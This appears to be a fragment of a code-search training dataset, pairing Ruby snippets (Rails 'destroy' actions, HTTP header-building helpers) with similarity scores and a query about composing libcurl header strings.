"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sample_line = SampleLine.find(params[:id])\n @sample_line.destroy\n\n respond_to do |format|\n format.html { redirect_to sample_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sub1_line_item.destroy\n respond_to do |format|\n format.html { redirect_to sub1_line_items_url, notice: 'Sub1 line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.line_items.clear\n respond_to do |format| \n format.html { redirect_to(edit_object_url) } \n end\n end",
"def destroy\n @dialogue_line = DialogueLine.find(params[:id])\n @dialogue_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(section_room_dialogue_lines_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invoiceline = Invoiceline.find(params[:id])\n @invoiceline.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoicelines_url) }\n format.xml { head :ok }\n end\n end",
"def delete(name, action, seqno)\n configure([\"no route-map #{name} #{action} #{seqno}\"])\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to @line_item.cart, notice: t('line_items.destroy.lineDelete') }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @route_detail = RouteDetail.find(params[:id])\r\n @route_detail.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to route_details_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @route_detail = RouteDetail.find(params[:id])\r\n @route_detail.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to route_details_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @route.delete\n respond_to do |format|\n format.html { redirect_to routes_url, notice: t(\"routes.deleted\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_liver.destroy\n respond_to do |format|\n format.html { redirect_to line_livers_url, notice: 'Line liver was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n @purchase_order_item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_order_item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cruise_line.destroy\n respond_to do |format|\n format.html { redirect_to cruise_lines_url, notice: 'Cruise line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_destination.destroy\n respond_to do |format|\n format.html { redirect_to line_destinations_url, notice: 'Line destination was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove_route(route={})\n request :delete, '/routes', route\n end",
"def destroy\n @waypoint = Waypoint.find(params[:id])\n @waypoint.destroy\n\n respond_to do |format|\n format.html { redirect_to(waypoints_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @route = Route.find(params[:id]) \n \n if @route.fellow_id\n route = @route\n tmp_route = Route.find(@route.fellow_id)\n user = tmp_route.user\n UserMailer.deleted_route(user, route).deliver\n end\n \n @route.destroy\n \n respond_to do |format|\n format.html { redirect_to routes_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_addon_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_addon_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = current_member.seller.line_items.find(params[:id])\n @line_item.destroy\n \n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.xml { render :nothing => true }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\nend",
"def destroy\n @invoice_line_item = InvoiceLineItem.find(params[:id])\n @invoice_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @batting_line = BattingLine.find(params[:id])\n @batting_line.destroy\n\n respond_to do |format|\n format.html { redirect_to batting_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"カートから商品が削除されました\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shipping_line = ShippingLine.find(params[:id])\n @shipping_line.destroy\n\n respond_to do |format|\n format.html { redirect_to shipping_lines_url }\n format.json { head :no_content }\n end\n end",
"def delete\n\t\tdb.execute{ \"delete edge #{ref_name} #{rrid}\" }\n\tend",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\nend",
"def delete_row(row_id); rest_delete(\"#{link('rows')}/#{row_id}\"); nil; end",
"def destroy\n @lineup = Lineup.find(params[:id])\n @lineup.destroy\n\n respond_to do |format|\n format.html { redirect_to lineups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @translated_line.destroy\n respond_to do |format|\n format.html { redirect_to translated_lines_url, notice: 'Translated line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order_line.destroy\n respond_to do |format|\n format.html { redirect_to order_lines_url, notice: 'Order line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(type, id)\n http_delete @target, \"#{type_info(type, :path)}/#{Addressable::URI.encode(id)}\", @auth_header, @zone\n end",
"def destroy\n @invent_journal_line = InventJournalLine.find(params[:id])\n @invent_journal_line.destroy\n\n respond_to do |format|\n format.html { redirect_to invent_journal_lines_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.69276166",
"0.68328714",
"0.68106467",
"0.67409015",
"0.66668594",
"0.66668594",
"0.6594451",
"0.65884703",
"0.6550613",
"0.64880764",
"0.6476469",
"0.64514494",
"0.6430788",
"0.6422718",
"0.64226633",
"0.6415043",
"0.6412264",
"0.63918084",
"0.63886774",
"0.63743454",
"0.6354204",
"0.63532877",
"0.63471526",
"0.6325045",
"0.6321957",
"0.6315573",
"0.6315573",
"0.6315573",
"0.6315573",
"0.63050526",
"0.630417",
"0.630237",
"0.62966",
"0.6284072",
"0.6273468",
"0.62667143",
"0.62642086",
"0.6257566",
"0.6250273",
"0.62494975",
"0.62481844",
"0.6237343",
"0.623512",
"0.6218807",
"0.6212808",
"0.6212808",
"0.6211733",
"0.62094146",
"0.61733097",
"0.61668223",
"0.61393696",
"0.61317426",
"0.61317426",
"0.61317426",
"0.61317426",
"0.61310446",
"0.61166275",
"0.61166275",
"0.61166275",
"0.61166275",
"0.61166275",
"0.61166275",
"0.6114405",
"0.61017996",
"0.6093636",
"0.60818917",
"0.60731244",
"0.60692984",
"0.60648763",
"0.6054717",
"0.605269",
"0.6050653",
"0.60482126",
"0.60300535",
"0.602595",
"0.6024202",
"0.6024038",
"0.60116446",
"0.60029596",
"0.5993279",
"0.59869546",
"0.59810174",
"0.5979446",
"0.59659714",
"0.5962553",
"0.59532243",
"0.59462684",
"0.5935545",
"0.5934654",
"0.5932276",
"0.5926227",
"0.59211886",
"0.5916115",
"0.5911384",
"0.58972526",
"0.5895158",
"0.5894889",
"0.58899134",
"0.58894396",
"0.5887395"
] |
0.77140987
|
0
|
Converts the internal state of the model in a String
|
def to_s
res = @x + " " + @p + " " + @o
res
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_s()\n #This is a stub, used for indexing\n end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s\n to_text\n end",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def to_s\n \"#{name}#{state}\"\n end",
"def to_s\n\t\t\t@string\n\t\tend",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s()\n #This is a stub, used for indexing\n end",
"def to_s()\n #This is a stub, used for indexing\n end",
"def to_s()\n #This is a stub, used for indexing\n end",
"def to_s\r\n \"<#{self.class.name} id: #{self[:id]}, description: #{self[:description]}, definition: #{self[:definition]}, has_inverse: #{self[:has_inverse]} accuracy: #{self[:accuracy]}\"\r\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n return @convert\n end",
"def to_s\n return @convert\n end",
"def to_s\n @str\n end",
"def to_s\n @str\n end",
"def to_s\n string\n end",
"def to_s\n stringify\n end",
"def to_s\n @string ||= Builder::ToString.new(self).string\n end",
"def to_str() end",
"def to_str() end",
"def to_s(*) end",
"def to_s(*) end",
"def to_s(*) end",
"def to_s\n raw\n end",
"def to_s\n self.inspect\n end",
"def to_s\n object.to_s\n end"
] |
[
"0.72040814",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71813303",
"0.71215284",
"0.7067511",
"0.7018792",
"0.700784",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.70043296",
"0.6962977",
"0.6962977",
"0.6962977",
"0.6962977",
"0.6957024",
"0.6957024",
"0.6957024",
"0.69559854",
"0.6917308",
"0.6917308",
"0.6917308",
"0.6917308",
"0.6894106",
"0.6894106",
"0.6862857",
"0.6862857",
"0.68489933",
"0.68395376",
"0.6839049",
"0.6823028",
"0.6823028",
"0.68163294",
"0.68163294",
"0.68163294",
"0.6793182",
"0.6779383",
"0.6773123"
] |
0.0
|
-1
|
Compose libcurl header string from key and value. Also replaces null bytes, because libcurl will complain otherwise.
|
def compose_header(key, value)
Util.escape_zero_byte("#{key}: #{value}")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def safe_append_header(key, value)\n resp_headers[key] = value.to_s\n end",
"def encode_header(s); s; end",
"def parse_headers(headers_hash)\n header_string = \"\"\n for header in headers_hash.select { |k,v| k.match(\"^HTTP.*\") } do\n header_string += header[0]+\":\"+header[1]+\"|\"\n end\n return header_string\n end",
"def build_headers(headers)\n headers.select do |key, value|\n !(key.to_s =~ /cookie/i)\n end.inject([]) do |memo, header|\n memo << {\n :name => header[0].to_s.split('_').map(&:capitalize).join('-'),\n :value => header[1].to_s\n }\n end\nend",
"def unquoted_header(key)\n if header = @mail[key]\n value = header.respond_to?(:map) ?\n header.map { |h| h.value }.join(\"\\n\") :\n header.value\n Mail::Encodings.value_decode(value)\n else\n ''\n end\n end",
"def stringify_headers(headers); end",
"def header(key)\n return false unless headers.key?(key)\n\n headers.fetch(key).first.to_s\n end",
"def build_cookie_header cookies\r\n cookies.to_a.map { |a| a.join '=' }.join '; '\r\n end",
"def header_to_s # :nodoc:\n if (header)\n pad = \" \" * headeri\n\n return pad + header + \"\\n\" + pad + \"=\" * header.length + \"\\n\\n\"\n end\n\n return ''\n end",
"def hashify_header(hash, line)\n return nil if line.nil? || line.strip.empty?\n key, value = line.split(':')\n hash[convert_key(key)] = value.strip.chomp\n end",
"def build_headers(url, key, sig_type = nil, additional_headers = {})\n sig = Signature.new(url, key)\n sig_type ||= 'blob'\n\n # RestClient will set the Content-Type to application/x-www-form-urlencoded.\n # We must override this setting or the request will fail in some cases.\n\n headers = {\n 'Content-Type' => '',\n 'x-ms-date' => Time.now.httpdate,\n 'x-ms-version' => @storage_api_version,\n :auth_string => true\n }\n\n headers.merge!(additional_headers)\n headers['Authorization'] = sig.signature(sig_type, headers)\n\n headers\n end",
"def sanitize_header(header, value)\n value\n end",
"def str_early_hints(headers)\n eh_str = +\"\"\n headers.each_pair do |k, vs|\n next if illegal_header_key?(k)\n\n if vs.respond_to?(:to_s) && !vs.to_s.empty?\n vs.to_s.split(NEWLINE).each do |v|\n next if illegal_header_value?(v)\n eh_str << \"#{k}: #{v}\\r\\n\"\n end\n elsif !(vs.to_s.empty? || !illegal_header_value?(vs))\n eh_str << \"#{k}: #{vs}\\r\\n\"\n end\n end\n eh_str.freeze\n end",
"def header_str\n \"\"\n end",
"def header(key = nil, val = nil)\n if key\n val ? @header[key.to_s] = val : @header.delete(key.to_s)\n else\n @header\n end\n end",
"def generate_auth_header(params)\n auth_header_value = \"\"\n params.each_pair{|key, value|\n auth_header_value += \",\" if auth_header_value.length > 0\n auth_header_value += \"#{key.urlencode}=\\\"#{value.urlencode}\\\"\"\n }\n\n return auth_header_value\n end",
"def canonical_string(method, path, headers={}, expires=nil)\n interesting_headers = {}\n headers.each do |key, value|\n lk = key.downcase\n if lk == 'content-md5' or lk == 'content-type' or lk == 'date' or lk =~ /^x-amz-/\n interesting_headers[lk] = value.to_s.strip\n end\n end\n\n # these fields get empty strings if they don't exist.\n interesting_headers['content-type'] ||= ''\n interesting_headers['content-md5'] ||= ''\n # just in case someone used this. it's not necessary in this lib.\n interesting_headers['date'] = '' if interesting_headers.has_key? 'x-amz-date'\n # if you're using expires for query string auth, then it trumps date (and x-amz-date)\n interesting_headers['date'] = expires if not expires.nil?\n\n buf = \"#{method}\\n\"\n interesting_headers.sort { |a, b| a[0] <=> b[0] }.each do |key, value|\n buf << ( key =~ /^x-amz-/ ? \"#{key}:#{value}\\n\" : \"#{value}\\n\" )\n end\n # ignore everything after the question mark...\n buf << path.gsub(/\\?.*$/, '')\n # ...unless there is an acl or torrent parameter\n if path =~ /[&?]acl($|&|=)/ then buf << '?acl'\n elsif path =~ /[&?]torrent($|&|=)/ then buf << '?torrent'\n end\n return buf\n end",
"def prep_header_str(entity:)\n TraceHeader.from_entity(entity: entity).header_string\n end",
"def rack_helper(header)\n \"HTTP_#{header.to_s.upcase.gsub(/[-\\s]/, '_')}\"\n end",
"def to_s!(raw_name = nil)\n r = raw_name || (block_given? ? yield(key) : TO_RAW[key])\n \"#{r}#{Redhead::HEADER_NAME_VALUE_SEPARATOR_CHARACTER} #{value}\"\n end",
"def add_headers(name, value)\n @headers += ', ' if @headers.length > 0\n @headers += name + '=\"'\n @headers += LoggingUtil.obfuscate_header(name, value) unless value.nil?\n @headers += '\"'\n end",
"def CreateHeaderString(header)\n if header.gsub(' ', '_')\n header.gsub!(' ', '_')\n end\n if header.gsub('(', '')\n header.gsub!('(', '')\n end\n if header.gsub(')', '')\n header.gsub!(')', '')\n end\n if header.gsub('/', '')\n header.gsub!('/', '')\n end\n if header.gsub('-', '_')\n header.gsub!('-', '_')\n end\n headerString = header.to_s.downcase\n if headerString == \"class\"\n headerString = \"classification\"\n end\n return headerString\n end",
"def normalize_header(header)\n return nil if header.nil?\n header.downcase.split.join(\"_\").chomp('?')\nend",
"def add_headers(name, value)\n @headers += ', ' if @headers.length > 0\n @headers += name + '=\"'\n @headers += @header_obfuscator.obfuscate_header(name, value) unless value.nil?\n @headers += '\"'\n end",
"def env_header(name)\n \"http-#{name}\".upcase!.tr('-', '_')\n end",
"def to_s(raw_name = nil)\n r = raw_name || (block_given? ? yield(key) : raw)\n \"#{r}#{Redhead::HEADER_NAME_VALUE_SEPARATOR_CHARACTER} #{value}\"\n end",
"def http_header(field=nil, value=nil)\n @_http_header ||= {}\n @_http_header[field] = value if field\n @_http_header\n end",
"def prepend_header(name, value)\n end",
"def str_headers(env, status, headers, res_info, lines, requests, client); end",
"def header(name, value)\n name = name.upcase\n name.tr!('-', '_')\n name = \"HTTP_#{name}\" unless name == 'CONTENT_TYPE' || name == 'CONTENT_LENGTH'\n env(name, value)\n end",
"def sanitize_header_field(value)\n output = \"\"\n\n value = value.to_s.gsub(/\\r\\n/, \"\\n\")\n\n value.each_char{|c|\n case c\n when \"\\\\\", \"|\"\n output += \"\\\\\" + c\n when \"\\n\", \"\\r\"\n output += \" \"\n else\n output += c\n end\n }\n\n return output\n end",
"def encode_headers(headers)\n result = StringIO.new\n headers.each do |key, value|\n next if value == nil\n if value.kind_of?(Array)\n value.each do |subvalue|\n result << (\"%s: %s\\r\\n\" % [key, subvalue])\n end\n else\n result << (\"%s: %s\\r\\n\" % [key, value])\n end\n end\n return result.string\n end",
"def build_cookie(key, value)\n case value\n when Hash\n domain = \"; domain=\" + value[:domain] if value[:domain]\n path = \"; path=\" + value[:path] if value[:path]\n # According to RFC 2109, we need dashes here.\n # N.B.: cgi.rb uses spaces...\n expires = \"; expires=\" + value[:expires].clone.gmtime.\n strftime(\"%a, %d-%b-%Y %H:%M:%S GMT\") if value[:expires]\n secure = \"; secure\" if value[:secure]\n httponly = \"; HttpOnly\" if value[:httponly]\n value = value[:value]\n end\n value = [value] unless Array === value\n Rack::Utils.escape(key) + \"=\" +\n value.map { |v| Rack::Utils.escape(v) }.join(\"&\") +\n \"#{domain}#{path}#{expires}#{secure}#{httponly}\"\n end",
"def header(key)\n return false unless @args.fetch(:headers).key?(key)\n @args.fetch(:headers).fetch(key).first.to_s\n end",
"def output_http(hash, type, url=nil)\n output = \"#{type.upcase}\\r\\n--------\\r\\n\"\n output << url + \"\\r\\n\" if url\n hash.each do |key_pair|\n output << key_pair[0].to_s + ': ' + key_pair[1].to_s + \"\\r\\n\"\n end\n output << \"--------\\r\\n\\r\\n\"\n return output\nend",
"def get\n @keys.each do |key|\n short_name = key.split('.').last\n @header << (@header.include?(short_name) ? key : short_name)\n end\n @header.join(',') + \"\\n\"\n end",
"def sanitize_header_field(value)\n value.to_s\n .gsub(\"\\r\\n\", \"\\n\")\n .gsub(HEADER_FIELD_SANITIZER_PATTERN, HEADER_FIELD_SANITIZER_MAPPING)\n end",
"def canonicalized_headers\n x_amz = headers.select{|name, value| name.to_s =~ /^x-amz-/i }\n x_amz = x_amz.collect{|name, value| [name.downcase, value] }\n x_amz = x_amz.sort_by{|name, value| name }\n x_amz = x_amz.collect{|name, value| \"#{name}:#{value}\" }.join(\"\\n\")\n x_amz == '' ? nil : x_amz\n end",
"def prepare_custom_headers(header)\n header.end_with?(\"__c\") ? header.slice(0..-4).downcase : header.downcase\n end",
"def canonicalize_header(header)\n header.to_s.split(/[\\-_]/).map(&:capitalize).join('-')\n end",
"def env_name(key)\n key = key.to_s\n if key =~ HTTP_HEADER\n key = key.upcase.tr(\"-\", \"_\")\n key = \"HTTP_\" + key unless CGI_VARIABLES.include?(key)\n end\n key\n end",
"def header(h, buffer = \"\")\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def lkey_strip(hdrs)\n hdrs.split(\": \")[0].downcase.gsub(\"-\", \"\").to_s.strip\n end",
"def hash_to_urlencoded_str(hash = {}, delim, join_with)\n\t\t\t\thash.map{|k,v| \n\t\t\t\t\t\"#{urlencode(k)}#{delim}#{urlencode(v)}\"}.join(\"#{join_with}\")\n\t\t\tend",
"def hash2cgiString(h)\r\n # Order the keys alphabetically. It's not strictly necessary but makes\r\n # output easier to determine (helps testing)\r\n # This requires that the keys be strings, since symbols aren't sortable\r\n h2 = {}\r\n h.each {|key, value| h2[key.to_s] = value}\r\n alpha_keys = h2.keys.sort\r\n \r\n # Escape all the values first\r\n alpha_keys.each {|key| h2[key] = CGI::escape(h2[key].to_s) if (h2[key])}\r\n \r\n # Create the string\r\n alpha_keys.collect {|key| \"#{key}=#{h2[key]}\"}.join('&')\r\n end",
"def url_encode(h); h.map { |k,v| \"openid.#{Rack::Utils.escape(k)}=#{Rack::Utils.escape(v)}\" }.join('&') end",
"def get_http_header line\n return nil if not is_http_header? line\n parts = line.split(':')\n {parts[0].strip => parts[1].strip}\n end",
"def ensure_quoted_header(value)\n if value =~ QUOTED\n value\n else\n '\"' << value << '\"'\n end\n end",
"def add_headers(current_string)\n return current_string if @headers.nil?\n string_headers = @headers.map { |k, v| \" -H '#{k}:#{v}' \" }.join(\"\")\n current_string + string_headers\n end",
"def kv_encode(h); h.map {|k,v| k.to_s + \":\" + v.to_s + 10.chr }.join end",
"def key_for(url)\n url.to_s.downcase.gsub(\"https\",'http').gsub(/\\s+/,' ')\n end",
"def key_for(url)\n url.to_s.downcase.gsub(\"https\",'http').gsub(/\\s+/,' ')\n end",
"def oauth_header(request)\n SimpleOAuth::Header.new(request.method, request.uri, URI.decode_www_form(request.body), credentials).to_s\n end",
"def unwrap_headers(headers, env)\n\t\t\t\theaders.each do |key, value|\n\t\t\t\t\thttp_key = \"HTTP_#{key.upcase.tr('-', '_')}\"\n\t\t\t\t\t\n\t\t\t\t\tif current_value = env[http_key]\n\t\t\t\t\t\tenv[http_key] = \"#{current_value}\\n#{value}\"\n\t\t\t\t\telse\n\t\t\t\t\t\tenv[http_key] = value\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"def unquote_header(value)\n if value =~ QUOTED\n $1\n else\n value\n end\n end",
"def get_headers\nheader_values = {}\n i = 1\n # while !params[:header][:type_.to_s + \"#{i}\"].nil?\n while !params[:header_values_.to_s + \"#{i}\"].nil?\n\t value = params[:header_values_.to_s + \"#{i}\"].map!{|i| CGI::unescape(i).gsub(\"\\\"\", \"'\")}\n \theader_values[params[:header][:type_.to_s + \"#{i}\"]] = value\n i += 1\n end\n header_values\nend",
"def add_headers_from_arrays(curl, keys, values)\n keys, values = Array(keys), Array(values)\n\n keys.each_with_index do |key, i|\n next if values[i].to_s.empty?\n curl.headers[key] = values[i]\n end\n end",
"def stringify_headers headers\n headers.inject({}) do |result, (key, value)|\n if key.is_a? Symbol\n key = key.to_s.split(/_/).map { |w| w.capitalize }.join('-')\n end\n if 'CONTENT-TYPE' == key.upcase\n target_value = value.to_s\n result[key] = MIME::Types.type_for_extension target_value\n elsif 'ACCEPT' == key.upcase\n # Accept can be composed of several comma-separated values\n if value.is_a? Array\n target_values = value\n else\n target_values = value.to_s.split ','\n end\n result[key] = target_values.map { |ext| MIME::Types.type_for_extension(ext.to_s.strip) }.join(', ')\n else\n result[key] = value.to_s\n end\n result\n end\n end",
"def add_headers_from_arrays(curl, keys, values)\n keys, values = Array(keys), Array(values)\n\n keys.each_with_index do |key, i|\n next if values[i].to_s.empty?\n curl.headers[key] = values[i]\n end\n end",
"def put_header(key, value)\n @j_del.putHeader(key, value.to_s)\n self\n end",
"def put_header(key, value)\n @j_del.putHeader(key, value.to_s)\n self\n end",
"def cookie_header_to_s(cookies)\n str = \"\"\n cookies.each {|cookie|\n str += cookie.split(';')[0] + ';'\n }\n return str\n end",
"def cookie_header_to_s(cookies)\n str = \"\"\n cookies.each {|cookie|\n str += cookie.split(';')[0] + ';'\n }\n return str\n end",
"def add_headers(headers)\n headers_string = \"\"\n\n headers.each do |key, value|\n headers_string << \"#{key}: #{value}\\r\\n\"\n end\n\n headers_string\n end",
"def encode_header(cmd_parms)\n header_params = {}\n body_digest = OpenSSL::Digest::MD5.digest(cmd_parms[:body])\n body_base64 = Base64.encode64(body_digest)\n\n current_date = Time.now.strftime('%Y-%m-%d %H:%M')\n\n data = \"#{current_date}\" + \"\\n\" + \"#{cmd_parms[:path]}\" + \"\\n\" + \"#{body_base64}\"\n\n digest = OpenSSL::Digest.new('sha1')\n movingFactor = data.rstrip!\n if @password == \"\" || !(@api_key.nil?)\n hash = OpenSSL::HMAC.hexdigest(digest, @api_key, movingFactor)\n else\n hash = OpenSSL::HMAC.hexdigest(digest, Base64.strict_decode64(@password), movingFactor)\n end\n final_hmac = @email + ':' + hash\n header_params = { hmac: final_hmac, date: current_date }\n end",
"def formulate_headers(auth_header)\n {\n 'Content-Type' => 'application/json',\n 'Authorization' => auth_header,\n 'Content-Encoding' => 'gzip',\n 'Accept' => 'application/json'\n }\n end",
"def format_header(header, close: ':', upcase: true)\n header.squish!\n header[0] = header[0].upcase if upcase\n header += close\nend",
"def header_build\n header = \"customer name\" + @delimiter + \"gender\" + @delimiter\n header += \"age\" + @delimiter + \"birthday\" + @delimiter + \"cpf\" + @delimiter + \"id\" + @delimiter\n header += \"state\" + @delimiter + \"city\" + @delimiter + \"street\" + @delimiter + \"zip_code\" + @delimiter\n header += \"company name\" + @delimiter + \"industry\" + @delimiter + \"cnpj\"\n header\nend",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n case h[:type]\n when :indexed\n buffer << integer(h[:name] + 1, rep[:prefix])\n when :changetablesize\n buffer << integer(h[:value], rep[:prefix])\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name] + 1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n buffer << string(h[:value])\n end\n\n # set header representation pattern on first byte\n fb = buffer.ord | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def build_header(keys_template)\n header = ''\n names = []\n keys = deep_copy(keys_template)\n\n keys.each { |key|\n begin\n if @config.header_mappings.any? { |k| k.include? key }\n\n header_label = key\n\n @config.header_mappings.each { |k, v|\n if header_label.include? k\n header_label.gsub!(k, v)\n end\n\n }\n names << header_label\n\n elsif @config.header_overrides.split(',').include?(key)\n names << key\n elsif key.include?('coordinates')\n names << key\n elsif key.split('.')[-1].is_i?\n names << key\n else\n #We want to grab the last element and add it to the array.\n name = key.split(\".\")[-1]\n\n if !names.include?(name)\n names << name\n else\n if key.split(\".\")[-2].is_i?\n name = key.split(\".\")[-3..-1].join(\".\")\n else\n name = key.split(\".\")[-2..-1].join(\".\")\n end\n\n if !names.include?(name)\n names << name\n else\n name = key.split(\".\")[-3..-1].join(\".\")\n if !names.include?(name)\n names << name\n else\n #p \"No action taken. #{name} not added to name array. (build_header)\"\n end\n end\n end\n end\n rescue Exception => e\n AppLogger.log.error(\"ERROR in build_header method with #{key}: #{e.message}\")\n end\n }\n\n header = CSV.generate do |csv|\n csv << names\n end\n\n header\n end",
"def prepend_header(name, value)\n original = tmail[name] || []\n tmail[name] = nil\n tmail[name] = sanitize_header(charset, name, value)\n tmail[name] = tmail[name] + original\n end",
"def header_str_with_newrelic\n header_str_with_tracing { header_str_without_newrelic }\n end",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def header_pairs headers\n header_pairs = []\n headers.each do |header|\n header_pairs.append \"#{header[:name]}=#{header[:value]}\"\n end\n header_pairs.join \",\"\nend",
